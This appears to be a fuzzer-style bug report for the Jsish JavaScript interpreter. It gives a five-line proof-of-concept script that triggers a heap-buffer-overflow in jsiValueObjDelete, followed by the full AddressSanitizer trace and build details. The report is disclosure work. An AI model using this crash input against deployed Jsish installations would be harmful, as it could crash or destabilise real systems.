var arr = [];
arr.x = 0;
delete arr[assert(hasProperty, 'hasProperty !== true')];
for (var i = 0; i < 2; ++i)
arr.unshift(i);
Execution steps & Output
$ ./jsish/jsish poc.js
===ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60600000df38 at pc 0x5566ebe0b2f9 bp 0x7fffd0654660 sp 0x7fffd0654650
READ of size 8 at 0x60600000df38 thread T0
#0 0x5566ebe0b2f8 in jsiValueObjDelete src/jsiEval.c:464
#1 0x5566ebe0b2f8 in jsiEvalCodeSub src/jsiEval.c:1885
#2 0x5566ebe1915e in jsi_evalcode src/jsiEval.c:2204
#3 0x5566ebe1d274 in jsi_evalStrFile src/jsiEval.c:2665
#4 0x5566ebb0c66a in Jsi_Main src/jsiInterp.c:936
#5 0x5566ec31103a in jsi_main src/main.c:47
#6 0x7fbbb1d73bf6 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6)
#7 0x5566ebaa0969 in _start (/usr/local/bin/jsish+0xe8969)
Address 0x60600000df38 is a wild pointer.
SUMMARY: AddressSanitizer: heap-buffer-overflow src/jsiEval.c:464 in jsiValueObjDelete
Shadow bytes around the buggy address:
0x0c0c7fff9b90: fa fa fa fa fd fd fd fd fd fd fd fd fa fa fa fa
0x0c0c7fff9ba0: fd fd fd fd fd fd fd fd fa fa fa fa fd fd fd fd
0x0c0c7fff9bb0: fd fd fd fd fa fa fa fa fd fd fd fd fd fd fd fd
0x0c0c7fff9bc0: fa fa fa fa 00 00 00 00 00 00 00 00 fa fa fa fa
0x0c0c7fff9bd0: 00 00 00 00 00 00 00 00 fa fa fa fa 00 00 00 00
=>0x0c0c7fff9be0: 00 00 00 fa fa fa fa[fa]fa fa fa fa fa fa fa fa
0x0c0c7fff9bf0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0c7fff9c00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0c7fff9c10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0c7fff9c20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0c7fff9c30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Jsish revision
Commit: 9fa798e
Version: v3.5.0
Build platform
Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)
Build steps
Test case
Execution steps & Output
Credits: Found by OWL337 team.